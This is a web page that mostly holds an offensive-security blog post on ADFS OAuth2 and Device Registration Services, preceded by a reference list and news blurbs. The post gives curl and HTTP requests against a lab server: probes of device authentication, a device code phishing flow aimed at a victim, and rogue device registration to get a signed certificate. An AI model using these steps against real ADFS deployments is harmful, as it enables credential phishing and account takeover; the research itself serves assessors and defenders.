4. OWASP API Security Top 10 Vulnerabilities: 2023 - APIsecurity.io, accessed January 6, 2025, https://apisecurity.io/owasp-api-security-top-10/

5. Consolidating market leadership in robotic cybersecurity - Alias Robotics, accessed January 6, 2025, https://news.aliasrobotics.com/consolidating-market-leadership-in-robotic-cybersecurity-alias-robotics/

6. The Achilles' Heel of Automation: Why Robot Security Can't Be an Afterthought in Manufacturing - Founder Shield, accessed January 6, 2025, https://foundershield.com/blog/robot-security-in-manufacturing-automation/

7. 2025 Forecast: AI to supercharge attacks, quantum threats grow, SaaS security woes, accessed January 6, 2025, https://www.scworld.com/feature/cybersecurity-threats-continue-to-evolve-in-2025-driven-by-ai

8. Generative AI Security: Emerging Attack Vectors and Mitigation Strategies - Medium, accessed January 6, 2025, https://medium.com/@petertou12/generative-ai-security-emerging-attack-vectors-and-mitigation-strategies-c0de90edb446

9. Five Back-to-the-Future Predictions for AI in 2025 - The Fast Mode, accessed January 6, 2025, https://www.thefastmode.com/expert-opinion/38803-five-back-to-the-future-predictions-for-ai-in-2025

10. 2025 Predictions: What Lies Ahead for API Security and Bot Management, accessed January 6, 2025, https://securityboulevard.com/2024/12/2025-predictions-what-lies-ahead-for-api-security-and-bot-management/

11. Application and API Security in 2025: What Will the New Year Bring? - Thales CPL, accessed January 6, 2025, https://cpl.thalesgroup.com/blog/application-security/application-api-security-2025

12. Traceable Releases 2025 State of API Security Report - AI-Tech Park, accessed January 6, 2025, https://ai-techpark.com/traceable-releases-2025-state-of-api-security-report/

13. Traceable Releases 2025 State of API Security Report: API Breaches Persist as Fraud, Bot Attacks, and Generative AI Increase Risks | Cybersecurity Dive, accessed January 6, 2025, https://www.cybersecuritydive.com/press-release/20241030-traceable-releases-2025-state-of-api-security-report-api-breaches-persist/

14. It's 2024 and the API Breaches Keep Coming - Salt Security, accessed January 6, 2025, https://salt.security/blog/its-2024-and-the-api-breaches-keep-coming

15. Robotics and AI: Emerging Cyber Threats in Autonomous Systems, accessed January 6, 2025, https://cyberlabsservices.com/robotics-and-ai-emerging-cyber-threats-in-autonomous-systems/

16. Robotics cyber security: vulnerabilities, attacks, countermeasures, and recommendations - PMC - PubMed Central, accessed January 6, 2025, https://pmc.ncbi.nlm.nih.gov/articles/PMC7978470/

17. Why AI is Essential for Solving Problems Beyond WAFs: A Deep Dive - Camenta Systems, accessed January 6, 2025, https://www.camentasystems.com/resources/blog-article/why-ai-is-essential-for-solving-problems-beyond-wafs-a-deep-dive

18. How Bots and Bad Actors Bypass Web Application Firewalls (WAFs) | CHEQ, accessed January 6, 2025, https://cheq.ai/blog/how-bots-and-bad-actors-bypass-web-application-firewalls-wafs/

19. AI-Powered WAFs vs. Traditional Firewalls: Protecting Your Web Applications - Medium, accessed January 6, 2025, https://medium.com/@seekmeai/ai-powered-wafs-vs-traditional-firewalls-protecting-your-web-applications-51f5bf46de8e

20. The Need for Next-Generation Web Application Firewalls (WAFs) in Modern Threat Landscape | A10 Networks, accessed January 6, 2025, https://www.a10networks.com/blog/the-need-for-next-generation-web-application-firewalls-wafs-in-modern-threat-landscape/

21. Modern API Security Risks and Challenges Solved with Web App and API Protection (WAAP) Solutions - F5, accessed January 6, 2025, https://www.f5.com/company/blog/modern-security-risks-challenges-solved-web-app-api-protection

22. Blog: 11 Reasons Your WAF Can't Secure Your APIs - Traceable AI, accessed January 6, 2025, https://www.traceable.ai/blog-post/11-reasons-your-waf-cant-secure-your-apis

23. Why WAFs Help, But Aren't Enough for API Security - Levo.ai, accessed January 6, 2025, https://www.levo.ai/resources/blog/why-wafs-help-but-arent-enough-for-api-security

24. Six Challenges of Applying WAF in the Cloud and How to Solve Them | by Carrie - Medium, accessed January 6, 2025, https://medium.com/@carriesafelinewaf/six-challenges-of-applying-waf-in-the-cloud-and-how-to-solve-them-02e4c95db7a0

25. Protecting Your APIs in the Wild: A Deep Dive into WAF and API Gateway Integration, accessed January 6, 2025, https://dev.to/apisix/protecting-your-apis-in-the-wild-a-deep-dive-into-waf-and-api-gateway-integration-56an

26. Why does WAF matter in API security? - Traefik Labs, accessed January 6, 2025, https://traefik.io/blog/why-does-waf-matter-in-api-security/

27. API Security Perspectives 2025 report from Kong Inc | App Developer Magazine, accessed January 6, 2025, https://appdevelopermagazine.com/api-security-perspectives-2025-report-from-kong-inc/

28. Beyond ChatGPT: How AI Agents are Shaping the Future of Cyber Defense and Offense, accessed January 6, 2025, https://www.radware.com/blog/security/beyond-chatgpt-how-ai-agents-are-shaping-the-future-of-cyber-defense-and-offense/

29. How secure are your web applications with WAF and AI-based WAFs? - Globalbiz Outlook, accessed January 6, 2025, https://globalbizoutlook.com/how-secure-are-your-web-applications-with-waf-and-ai-based-wafs/

30. AI-powered WAFs vs traditional firewalls: Protecting your web applications - AI News, accessed January 6, 2025, https://www.artificialintelligence-news.com/news/ai-powered-wafs-vs-traditional-firewalls-protecting-your-web-applications/

31. Mitigate Emerging Risks and Security Threats from AI Agents, accessed January 6, 2025, https://securitymea.com/2024/09/10/mitigate-emerging-risks-and-security-threats-from-ai-agents/

32. What are the risks and benefits of 'AI agents'? - The World Economic Forum, accessed January 6, 2025, https://www.weforum.org/stories/2024/12/ai-agents-risks-artificial-intelligence/

33. What is Web Application and API Protection (WAAP) - Imperva, accessed January 6, 2025, https://www.imperva.com/learn/application-security/web-application-and-api-protection-waap/

34. How Does a WAF Work? - Security Boulevard, accessed January 6, 2025, https://securityboulevard.com/2023/05/how-does-a-waf-work/

35. How does a WAF mitigate vulnerabilities? - F5, accessed January 6, 2025, https://www.f5.com/company/blog/how-does-a-waf-mitigate-vulnerabilities

36. Why Do I Need API Security if I Have a WAF and API Gateway? - Cequence Security, accessed January 6, 2025, https://www.cequence.ai/blog/api-security/why-do-i-need-api-security-if-i-have-a-waf-and-api-gateway/

37.  accessed December 31, 1969, https://pulse.latio.tech/p/wtf-is-cloud-application-detection

38. State of 'State of Cloud Security' Reports: Insights or Self-Owns ..., accessed January 6, 2025, https://ramimac.me/state-of-cloud-security

39. What Is Behavioral Cloud Application Detection & Response (CADR ..., accessed January 6, 2025, https://www.armosec.io/blog/cloud-application-detection-response-cadr/

40. How to build an offensive AI security agent - Anshuman Bhartiya, accessed January 6, 2025, https://www.anshumanbhartiya.com/posts/hackagent

41. How to build a defensive AI security agent with RAG, accessed January 6, 2025, https://www.anshumanbhartiya.com/posts/defenseagent

‍

The post Agents, Robotics, and Auth – Oh My! | Impart Security appeared first on Security Boulevard.

Author/Presenter: c0ldbru

Our sincere appreciation to DEF CON, and the Authors/Presenters for publishing their erudite DEF CON 32 content. Originating from the conference’s events located at the Las Vegas Convention Center; and via the organizations YouTube channel.

Permalink

The post DEF CON 32 – So You Wanna Know How To Make Badges appeared first on Security Boulevard.

Philadelphia, Pennsylvania, 7th January 2025, CyberNewsWire

The post Security Risk Advisors joins the Microsoft Intelligent Security Association appeared first on Security Boulevard.

Ramat Gan, Israel, 7th January 2025, CyberNewsWire

The post CyTwist Launches Advanced Security Solution to identify AI-Driven Cyber Threats in minutes appeared first on Security Boulevard.

ADFS — Living in the Legacy of DRS

It’s no secret that Microsoft have been trying to move customers away from ADFS for a while. Short of slapping a “deprecated” label on it, every bit of documentation I come across eventually explains why Entra ID should now be used in place of ADFS.

And yet… we still encounter it everywhere! Even in organisations that have embraced Entra ID, we have Hybrid Joined environments which often mix federated authentication in with cloud management. So while it’s nice to chase the shiny new thing, building knowledge around ADFS is still a worthwhile way to spend an evening.

So in this post we’re going to focus on some ADFS internals. We’ll be staying clear of the SAML areas which have been beaten to death, and instead we’re going to look at OAuth2, and how it underpins the analogues to Entra ID security features like Device Registration and Primary Refresh Tokens.

I’m honestly not sure how useful any of this post will be in a practical sense. I’ve tried to gather data on internet facing ADFS servers to see what configurations are out there to help hone my research, but I found this area way too interesting to leave on my Notion notebook to rot.

So if a single person is able to make use of this content to achieve their objective in a future assessment, or just to understand why the msDS-Device object exists, it was worth posting.

ADFS and OAuth2

You’d be forgiven for thinking that ADFS is primary a SAML token generator. After all, most post-ex techniques focus on areas like Golden SAML, having been used with success on countless engagements over the years.

But the other side to ADFS is OAuth2. Of course there is a coating of “Microsoft Stank” (as my colleague @hotnops likes to call it when presenting research into some Entra ID madness) applied to the terms that Microsoft use, but it’s very much an OAuth2 provider under the hood.

I’ll begin by giving a very quick overview of OAuth2 on ADFS to set the stage for what we will discuss later on.

Let’s start with how to set up a simple OAuth2 integration. In the ADFS management console we have “Application Groups”:

This is where ADFS allows configuration of OAuth2 clients and servers. We’ll set up a new Application Group and call it “Test App Group”, where we’ll be presented with a number of templates:

Microsoft provide an overview of each template via the “More information” button, but this table from the documentation provides a useful set of translations to understand Microsoft’s OAuth2 terminology:

For now, let’s choose the “Web browser accessing a web application” template. We’ll use the ClaimsXRay.net web application as our target, which is a nice application used to test IdP integrations (modelled after Microsoft’s own deprecated ClaimsXRay service).

On the next screen we need to assign the Client Identifier and redirect URI which we’ll set to https://claimsxray.net/token:

Take note of the Client Identifier which will be used to identify our client configuration later.

The next dialog determines who can access the OAuth2 resource provider. Again we’ll just go with “Permit Everyone” here to allow all authenticated ADFS users to access the application, but there are multiple options to restrict which accounts are permitted access:

One additional thing we need to do is configure CORS. This allows ClaimsXRay to make a XHR request to ADFS when exchanging a code for an access token.

As is often the case with ADFS, there isn’t a management console option to do this and instead we need to use PowerShell:

Set-AdfsResponseHeaders -EnableCORS $true
Set-AdfsResponseHeaders -CORSTrustedOrigins https://claimsxray.net

On a similar note, if we wanted to create this integration using PowerShell from scratch, we can use:

New-AdfsApplicationGroup -Name ClaimsXRayGroup
Add-AdfsNativeClientApplication -Name ClaimsXRayClient -ApplicationGroupIdentifier ClaimsXRayGroup -Identifier https://claimsxray.net/ -RedirectUri https://claimsxray.net/token
Add-AdfsWebApiApplication -Name ClaimsXRayServer -Identifier https://claimsxray.net/ -AllowedClientTypes Public -ApplicationGroupIdentifier ClaimsXRayGroup
Grant-AdfsApplicationPermission -ClientRoleIdentifier https://claimsxray.net/ -ServerRoleIdentifier https://claimsxray.net/ -ScopeNames @('email', 'openid')

# Enable CORS support
Set-AdfsResponseHeaders -EnableCORS $true
Set-AdfsResponseHeaders -CORSTrustedOrigins https://claimsxray.net

And with that we’re done. We can test that things work by kicking off the flow on ClaimsXRay.net, providing our Client ID that was generated above, as well as the URL’s to our lab ADFS instance:

If you click Login, you should see that an access token is returned. We’ll also get an identity token due to the openid scope requested:

Now we have some insight into how ADFS handles OAuth2 registration at a very high level, let’s start taking a look at some of the less documented features.

Device Registration Services

While reversing ADFS, I came across a number of “hidden” OAuth2 Client ID’s embedded in the binaries:

The one that grabbed my attention was DrsClientIdentitier. If the DRS term looks familiar, it’s likely because you’ve encountered it in the Entra ID world as Device Registration. But for those organisations that like to manage device registration themselves, DRS is also supported on-prem in various forms. Now when I say “supported”, it takes a lot of messing around to get DRS to actually work standalone, so I think it’s been left by Microsoft to die. You are much more likely to encounter this within an organisation which has previously enabled DRS before Entra ID, or as part of the Entra ID Hybrid Join scenarios we’ll explore later.

To enable DRS on ADFS, you use the “Device Registration” feature which will deploy the pre-reqs required to support this in Active Directory:

If we query ADFS via the /EnrollmentServer/contract?api-version=1.2 path, we get a list of DRS descriptors:

These point to various DRS API services which we will explore later, but before we get too ahead of ourselves, let’s take a quick detour into ADFS authentication methods so we can set the scene for device authentication later on.

Authentication Methods

ADFS has a concept of “extranet” and “intranet”. For most organisations, ADFS is exposed on the perimeter via a web proxy, and internal network users typically interact with the ADFS service directly.

You can see that this split is populated down to the configuration of ADFS, with the endpoints being distinctly listed (in this case as “Enabled” and “Proxy Enabled”, because consistent terminology in Microsoft world is hard):

This distinction is also surfaced via the authentication methods supported by ADFS, allowing different methods of validating credentials per “Extranet” and “Intranet” (told you Microsoft consistent terminology was hard):

You have likely come across a few of these options during your engagements. For example, “Forms Authentication” is the presentation of the ADFS login form:

“Windows Authentication” is the NTLM/Kerberos WIA methods that you’ve no doubt tried to relay to in the past, and is only supported on the Intranet.

For DRS to function properly, there is the “Device Authentication” option, which needs to be enabled and be accessible via the Extranet/Intranet zones you have access to.

Device Authentication requires DRS to be enabled, and it isn’t enabled by default unfortunately for us attackers. So again, you are much more likely to see this in either legacy environments, or environments using Hybrid Join.

There are multiple ways that Device Authentication can function depending on the configuration. In ADFS ≥ 2016, we have:

• ClientTLS
• PRT
• PKeyAuth

The method of Device Authentication is controlled in part by the Set-AdfsGlobalAuthenticationPolicy PowerShell commandlet:

Set-AdfsGlobalAuthenticationPolicy –DeviceAuthenticationMethod All

Out of the box, ADFS 2012 only supports ClientTLS. However ADFS ≥ 2016 uses SignedToken

So how can we enumerate a tenant to determine the enabled device authentication method? Well it’s mostly a game of elimination. If we want to see if ClientTLS Device Authentication is enabled for ADFS without having access to the configuration, a curl request for the endpoint with the trace argument would reveal this:

curl -k 'https://adfs.lab.local/adfs/ls/idpinitiatedsignon.aspx?client-request-id=77de249e-f9b5-4921-c301-0080000000b9' -v -X POST -d 'SignInIdpSite=SignInIdpSite&SignInSubmit=Sign+in&SingleSignOut=SingleSignOut' --trace out.txt

We’re looking for MS-Organization-Access as the CA in the client certificate request (13). If you see this, then ClientTLS Device Authentication is enabled for the network endpoint you are requesting. And this means if we have the appropriate Device Authentication certificate, we can authenticate to ADFS.

If we wanted to check if PKeyAuth is enabled, we need to make a request with the ;PKeyAuth/1.0 string within the User-Agent string:

curl -k 'https://adfs.lab.local/adfs/ls/idpinitiatedsignon.aspx?client-request-id=77de249e-f9b5-4921-c301-0080000000b1' -v -X POST -d 'SignInIdpSite=SignInIdpSite&SignInSubmit=Sign+in&SingleSignOut=SingleSignOut' --user-agent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0);PKeyAuth/1.0

If the response comes back with a 302 to urn:http-auth:PKeyAuth then we know that PKeyAuth is used:

< HTTP/1.1 302 Found
< Content-Length: 0
< Content-Type: text/html; charset=utf-8
< Location: urn:http-auth:PKeyAuth?SubmitUrl=https%3a%2f%2fadfs.lab.local%3a443%2fadfs%2fls%2fidpinitiatedsignon.aspx%3fclient-request-id%3d77de249e-f9b5-4921-c301-0080000000b1&nonce=P5180krdKaElqhmYzkkNYw&Version=1.0&Context=4e5a62d9-12f7-4898-9a4e-f3cd11c65a1a&CertAutho
rities=OU%253d82dbaca4-3e81-46ca-9c73-0950c1eaca97%252cCN%253dMS-Organization-Access%2b%252cDC%253dwindows%2b%252cDC%253dnet%2b&client-request-id=77de249e-f9b5-4921-c301-0080000000b1

If neither of the above are true, then PRT authentication is in use. We’ll review this option further in the post.

Now that we understand how Device Authentication works, the next question is… where is all this key, certificate, authentication information stored?

msDS-Device

You may have come across the msDS-Device LDAP class, which lives in the CN=RegisteredDevices,DC=domain,DC=com container:

The msDS-Device object is a representation of a registered device. Unlike a Computer object, it isn’t a security principal, but it does contain a number of familiar attributes, such as:

• altSecurityIdentities
• msDS-KeyCredentialLink

As the msDS-Device isn’t a security principal, things like “Shadow Credentials” aren’t going to work as there is no identity associated with the device. So what is being stored here?

In the case of msDS-Device, the altSecurityIdentities field is used to store the public key of the Device Authentication certificate we generate during Device Registration.

There is also another important field, msDS-RegisteredOwner which is associated with the SID of the user account used to create the device registration along with msDS-RegisteredUsers:

This is where things diverge slightly depending on the authentication method we commented on above. If ClientTLS is in use, and we authenticate with the certificate used during device registration, the user account that you are authenticated to ADFS as will be the SID of these fields. This isn’t the case if SignedToken is used, so I believe that this is an example of an older version of ADFS device registration before PRT’s become the norm.

This also means that if during your assessment you find yourself with write permission over a msDS-Device object (and Device Authentication is enabled with ClientTLS), you have the ability to authenticate to ADFS as any principal by updating both the msDS-RegisteredOwner and msDS-RegisteredUsers fields to point to the SID of any user.

As I mentioned above, the msDS-Device is created and fields are populated during Device Registration. Let’s take a look at the authentication process for how a device actually becomes registered.

Creating a DRS Access Token

To authenticate against DRS, we need an OAuth2 access token. The DRS client ID we observed in the disassembly at the start of the post is “public”, meaning that there aren’t any OAuth2 secrets to know when making a request.

We can validate this by using the Get-AdfsClient commandlet:

We can also see the supported RedirectUri required for authentication.

So if we are in a scenario where we have valid credentials for an account on ADFS, we can start the DRS client OAuth2 flow with:

GET /adfs/oauth2/authorize?response_type=code&
client_id=dd762716-544d-4aeb-a526-687b73838a22&
resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A&
redirect_uri=ms-app://windows.immersivecontrolpanel/ HTTP/1.1
Host: adfs.lab.local

This will start the authorisation code flow and, depending on the Authentication Methods enabled, we can login with credentials to create a OAuth2 auth code. If we successfully authenticate, we’ll see the code parameter passed back to our redirect URI:

This code is then exchanged for an access token using:

POST /adfs/oauth2/token HTTP/1.1
Host: adfs.lab.local
User-Agent: Windows NT 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 536

grant_type=authorization_code&
code=eNSvPCotu0yaI4ttVB1WXA.Dn...&
client_id=dd762716-544d-4aeb-a526-687b73838a22&
redirect_uri=ms-app%3A%2F%2Fwindows.immersivecontrolpanel%2F

And hopefully, we get our Access Token back:

One important caveat here however is that the DRS service has the following authentication policy assigned:

This means that MFA is required if we are authenticating as a user account to ADFS (or we can authenticate as a Computer Account and bypass this, but this isn’t so useful at the moment).

So what happens if we hit this ACL? Well during authentication, we’ll see the following error:

Unfortunately if this access control policy is in place, this stops us in our tracks of attempting to create a msDS-Device using stolen credentials, unless…

DRS OAuth2 Client Support Device Code Flow

To be honest, the fact that the Device Code Flow even exists in ADFS was news to me, but it does. And it’s enabled for the DRS client by default. In fact it’s enabled for every OAuth2 client on ADFS by default, which should make things fun when assessing other OAuth2 integrations.

So how does this work? Well to initiate this flow for DRS, you would first make a call to /adfs/oauth2/devicecode with our client ID and resource:

POST /adfs/oauth2/devicecode HTTP/1.1
Host: adfs.lab.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

client_id=dd762716-544d-4aeb-a526-687b73838a22&
resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A

This will return your usual OAuth2 device code information:

HTTP/1.1 200 OK
...

{
"device_code":"8uODMKe4OEGu4[...]8fG640TTMxOQ",
"expires_in":899,
"interval":5,
"message":"To sign in, use a web browser to open the page https:\\/\\/adfs.lab.local\\/adfs\\/oauth2\\/deviceauth and enter the code SYGTLXSGB to authenticate.",
"user_code":"SYGTLXSGB",
"verification_uri":"https:\\/\\/adfs.lab.local\\/adfs\\/oauth2\\/deviceauth",
"verification_uri_complete":"https:\\/\\/adfs.lab.local\\/adfs\\/oauth2\\/deviceauth?user_code=SYGTLXSGB&client-request-id=b08b3ca6-6a56-4cf3-1b00-0080000000e3",
"verification_url":"https:\\/\\/adfs.lab.local\\/adfs\\/oauth2\\/deviceauth"
}

You would then direct your victim to the URL indicated (you can also pre-fill the code with the user_code parameter)

https://adfs.lab.local/adfs/oauth2/deviceauth?user_code=SYGTLXSGB

When the user authenticates (and hopefully completes the required MFA steps to validate the ACL above), you retrieve the access_token by making the following call to /adfs/oauth2/token:

POST /adfs/oauth2/token HTTP/1.1
Host: adfs.lab.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 587

client_id=dd762716-544d-4aeb-a526-687b73838a22&
device_code=8uODMKe4OEGu4Ku[...]cqx5rXGQ8MbNPM6J5iQ&
grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Adevice_code&
resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A

And with the access_token returned (and a refresh_token which we will need later), we have a authentication token scoped to the DRS service.

So once we have an Access Token, how do we turn this into a device registration?

DeviceEnrollmentWebService.svc

You may have seen earlier that DeviceEnrollmentWebService.svc was in the XML from the /EnrollmentServer/contract endpoint:

This web service can be used along with an Access Token for the urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A resource to register a new msDS-Device resource.

The format of the SOAP request that we use to register a device using this endpoint is:

POST https://adfs.lab.local/EnrollmentServer/DeviceEnrollmentWebService.svc HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8
...

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wst="http://docs.oasis-open.org/ws-sx/ws-trust/200512" xmlns:ac="http://schemas.xmlsoap.org/ws/2006/12/authorization">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep</a:Action>
<a:MessageID>urn:uuid:0d5a1441-5891-453b-becf-a2e5f6ea3749</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">https://adfs.lab.local/EnrollmentServer/DeviceEnrollmentWebService.svc</a:To>
<wsse:Security s:mustUnderstand="1">
<wsse:BinarySecurityToken ValueType="urn:ietf:params:oauth:token-type:jwt" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">ZXlKMGVYQWlPaUpLVjFRaUxDSmhiR2Np[...]BoX3Jyck1xWjZNQQ==</wsse:BinarySecurityToken>
</wsse:Security>
</s:Header>
<s:Body>
<wst:RequestSecurityToken>
<wst:TokenType>http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken</wst:TokenType>
<wst:RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue</wst:RequestType>
<wsse:BinarySecurityToken ValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">MIICijCCAXICAQAwRTELMAkGA1UEBhMCQVUxEz[...]MXIJ7lClxV7</wsse:BinarySecurityToken>
<ac:AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization">
<ac:ContextItem Name="DeviceType">
<ac:Value>Windows</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="ApplicationVersion">
<ac:Value>6.3.9600.0</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="DeviceDisplayName">
<ac:Value>testlabwin8</ac:Value>
</ac:ContextItem>
</ac:AdditionalContext>
</wst:RequestSecurityToken>
</s:Body>
</s:Envelope>

The important fields here are:

• Header BinarySecurityToken - This is the base64 encoded access_token we retrieved during authentication
• Body BinarySecurityToken - PKCS#10 encoded CSR generated by us for signing

When we make this request, we receive a response with a signed certificate:

HTTP/1.1 200 OK
Content-Length: 3866
Content-Type: application/soap+xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Sat, 14 Dec 2024 21:29:05 GMT

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RSTRC/wstep</a:Action><a:RelatesTo>urn:uuid:0d5a1441-5891-453b-becf-a2e5f6ea3749</a:RelatesTo></s:Header><s:Body><RequestSecurityTokenResponseCollection xmlns="http://docs.oasis-open.org/ws-sx/ws-trust/200512"><RequestSecurityTokenResponse><TokenType>http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken</TokenType><RequestedSecurityToken><BinarySecurityToken ValueType="http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentProvisionDoc" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary" xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">PHdhcC1wcm92aXNpb25pbmdkb2MgdmVyc2lvbj0iMS4xIj4NCiAgPGNoYXJhY3RlcmlzdGljIHR5&#xD;
cGU9IkNlcnRpZmljYXRlU3RvcmUiPg0KICAgIDxjaGFyYWN0ZXJpc3RpYyB0eXBlPSJNeSI+DQog&#xD;
[...]
OERmUSswS25ENjY3aTZvWlk0RTY3eGhCYVA3dG1Sb24xR0xucENYQzBzeGoiIC8+DQogICAgICAg&#xD;
IDwvY2hhcmFjdGVyaXN0aWM+DQogICAgICA8L2NoYXJhY3RlcmlzdGljPg0KICAgIDwvY2hhcmFj&#xD;
dGVyaXN0aWM+DQogIDwvY2hhcmFjdGVyaXN0aWM+DQo8L3dhcC1wcm92aXNpb25pbmdkb2M+</BinarySecurityToken></RequestedSecurityToken><RequestID xmlns="http://schemas.microsoft.com/windows/pki/2009/01/enrollment">0</RequestID><AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization"><ContextItem Name="UserPrincipalName"><Value>[email protected]</Value></ContextItem></AdditionalContext></RequestSecurityTokenResponse></RequestSecurityTokenResponseCollection></s:Body></s:Envelope>

Unfortunately this isn’t going to be another ESC99 style attack as the CA used to sign the token is the ADFS internal CA rather than ADCS (I can read your mind). But we’ll need this when using Device Authentication later.

If we take this base64 encoded certificate and decode it we get something like this:

<wap-provisioningdoc version="1.1">
<characteristic type="CertificateStore">
<characteristic type="My">
<characteristic type="User">
<characteristic type="E2246E3845E4928781128D6A4832B84EF1149FAF">
<parm name="EncodedCertificate" value="MIID/jCCAuagAwIBAgIQXXMccvjIsqdJ3Rd5smED[...]gDO1wJL3j" />
</characteristic>
</characteristic>
</characteristic>
</characteristic>
</wap-provisioningdoc>

We take the EncodedCertificate value and base64 decode this to generate our signed public key certificate. Usually it’s best to combine this with the private key into a PFX with something like:

openssl pkcs12 -export -out device_cert.pfx -inkey private_key.pem -in device_registration.crt

So once we have completed this SOAP request and we have our signed certificate, in Active Directory, we’ll find our new msDS-Device object:

If we are shooting for accessing ADFS using ClientTLS, this should be enough. However as we’ll see later on when looking at SignedToken, there are a few issues with this SOAP API method of creating a new msDS-Device. The big one for us is that the msDS-KeyCredentialLink attribute isn’t populated in AD (for anyone who has explored Entra ID before, you’ll likely know that this is required for the session transport key used during the PRT provisioning process).

As a side note, I “think” that this web service was actually used to support an earlier iteration of DRS, before Entra ID was so tightly integrated with Windows. During the Windows 8 days, DRS was a simpler method of generating certificates for device authentication and using ClientTLS, which makes sense as to why the msDS-KeyCredentialLink parameter was never used… but this is just a guess.

EnrollmentServer REST API

The second endpoint referenced in the /EnrollmentServer/contract endpoint is the /EnrollmentServer/device/ service:

Again this may look familiar as it’s a clone of the https://enterpriseregistration.windows.net/EnrollmentServer/device/ service used during Entra device registration.

This REST API is the more complete way to create a new msDS-Device as it allows us to provide values for the msDS-KeyCredentialLink (huge thanks to @DrAzureAD and the post “Deep-dive to Azure AD device join” which saved a lot of time and effort uncovering the structure of this request, you’re contributions to the infosec scene are always appreciated!):

POST https://adfs.lab.local/EnrollmentServer/device/?api-version=1.0 HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8
User-Agent: dd762716-544d-4aeb-a526-687b73838a22
Host: adfs.lab.local
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkFZcS1lSE5wVHdmcnFxVHcwM3k0d3NJRTBHUSIsImtpZCI6IkFZcS1lSE5wVHdmcnFxVHcwM3k0d3NJRTBHUSJ9.eyJhdWQiOiJ1cm46bXMtZHJzOjQzNERGNEE5LTNDRjItNEMxRC05MTdFLTJDRDJCNzJGNTE1QSIsImlzcyI6Imh0dHA6Ly9hZGZzLmxhYi5sb2NhbC9hZGZzL3NlcnZpY2VzL3RydXN0IiwiaWF0IjoxNzM0MzA2NDc1LCJuYmYiOjE3MzQzMDY0NzUsImV4cCI6MTczNDMxMDA3NSwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvaW1wbGljaXR1cG4iOiJpdGFkbWluQGxhYi5sb2NhbCIsInJzIjoibm90ZXZhbHVhdGVkIiwidGhyb3R0bGVkIjoiZmFsc2UiLCJhbXAiOiJGb3Jtc0F1dGhlbnRpY2F0aW9uIiwiYXV0aF90aW1lIjoiMjAyNC0xMi0xNVQyMzo0Nzo1NC44NjdaIiwiYXV0aG1ldGhvZCI6InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0IiwiYW5jaG9yIjoid2luYWNjb3VudG5hbWUiLCJ1cG4iOiJpdGFkbWluQGxhYi5sb2NhbCIsInByaW1hcnlzaWQiOiJTLTEtNS0yMS0zODU5Mjg2ODc4LTI4NTc1NjM3MjQtMTA1OTM5NjI5Ny0xMDAwIiwidW5pcXVlX25hbWUiOiJsYWJcXGl0YWRtaW4iLCJ3aW5hY2NvdW50bmFtZSI6ImxhYlxcaXRhZG1pbiIsImFtciI6InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0IiwiYXBwaWQiOiJkZDc2MjcxNi01NDRkLTRhZWItYTUyNi02ODdiNzM4MzhhMjIiLCJhcHB0eXBlIjoiUHVibGljIiwiY2xpZW50dXNlcmFnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzMS4wLjY3NzguODYgU2FmYXJpLzUzNy4zNiIsImVuZHBvaW50cGF0aCI6Ii9hZGZzL29hdXRoMi9hdXR